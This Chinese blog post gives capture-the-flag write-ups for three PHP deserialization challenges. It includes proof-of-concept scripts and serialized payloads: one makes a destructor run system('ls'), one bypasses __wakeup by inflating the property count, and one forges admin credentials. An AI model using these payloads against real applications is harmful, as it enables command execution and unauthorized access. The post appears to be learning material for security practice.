PHP反序列化

[SWPUCTF 2022 新生赛]1z_unserialize

这段代码定义了一个名为lyh的类。该类具有三个属性:urlltlly,以及一个析构函数__destruct()

属性url被初始化为字符串"NSSCTF.com"。属性ltlly没有被初始化,它们的值将由传递给unserialize()函数的数据来决定。

析构函数__destruct()被定义为在对象销毁时自动调用的方法。在这个析构函数中,代码首先将属性lt的值赋给变量$a,然后调用$a所代表的函数,并将属性lly作为参数传递给该函数。

接下来,代码使用unserialize()函数对$_POST['nss']中的数据进行反序列化操作。$_POST['nss']是从POST请求中获取的数据,它包含了一个序列化后的对象的字符串表示。

最后,代码使用highlight_file(__FILE__)函数来高亮显示当前文件的源代码。

直接用构造方法构造POC更改$lt$lly

<?php

class lyh{
    public $url = 'NSSCTF.com';
    public $lt="system";
    public $lly="ls";

}

$demo = new lyh();
echo serialize($demo);

得到flag


[SWPUCTF 2022 新生赛]ez_ez_unserialize

这段代码定义了一个名为X的类,具有以下几个方法和属性:

  • public $x = __FILE__;:这个属性存储了当前文件的路径。
  • function __construct($x):这个构造函数接受一个参数$x,并将其赋值给$this->x
  • function __wakeup():这个魔术方法在反序列化时被调用。它检查$this->x是否与当前文件的路径不同,如果不同则将$this->x设置为当前文件的路径。
  • function __destruct():这个析构函数在对象被销毁时被调用。它使用highlight_file()函数来高亮显示$this->x所指向的文件的源代码。

接下来的代码块是一个条件判断,检查是否存在$_REQUEST['x']参数。如果存在,它尝试对$_REQUEST['x']进行反序列化操作(使用@符号进行错误抑制)。否则,它将高亮显示当前文件的源代码。

在代码的最后,有一个字符串x1.00,它可能是一个错误或无意义的部分。

根据代码的逻辑,如果我们通过传递一个经过序列化的X对象的实例作为$_REQUEST['x']参数,那么在反序列化时,__wakeup()方法将检查$this->x是否与当前文件的路径不同。如果不同,它会将$this->x设置为当前文件的路径。最后,在对象被销毁时,__destruct()方法将高亮显示$this->x所指向的文件的源代码。

绕过__wakeup()魔术方法检测,把成员数改成大于实际数量

<?php class X { public $x ='fllllllag.php'; } $a=new X(); print_r(serialize($a)); ?>

O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

将其修改为x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

得到flag

[SWPUCTF 2021 新生赛]ez_unserialize

[SWPUCTF 2021 新生赛]ez_unserialize

上面没有直接显示题目

使用御剑进行扫描

访问robots.txt文件

里面有显示题目

只要满足  ($this->admin === "admin" && $this->passwd === "ctf")

即admin="admin",passwd="ctf"

<?php
class wllm{
    public $admin;
    public $passwd;
    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }
 
        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}
   
$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
$w=serialize($w);
echo $w;

?>

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

  • 25
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值